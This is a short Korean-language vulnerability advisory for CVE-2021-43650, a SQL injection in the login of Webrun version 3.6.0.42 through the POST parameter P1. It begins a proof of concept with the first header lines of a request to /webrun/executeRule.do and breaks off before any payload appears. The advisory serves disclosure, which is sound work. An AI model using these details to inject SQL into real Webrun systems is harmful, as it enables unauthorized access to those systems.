CVE-2021-43650

CVE-2021-43650 Webrun = 3.6.0.42 SQLi 설명 Webrun은 웹 기반 관리 애플리케이션입니다. 버전 3.6.0.42에서 로그인 과정 중 발생하는 SQL 인젝션 취약점을 식별하고 보고할 수 있었으며, 더 구체적으로는 P1이라는 POST 매개변수에 페이로드를 주입합니다. 개념 증명 POC 로그인 과정에서 다음 요청이 전송됩니다: POST /webrun/executeRule.do HTTP/1.1 Host: restricted Content-Length: 334 User-Agent: Mozilla/5.0...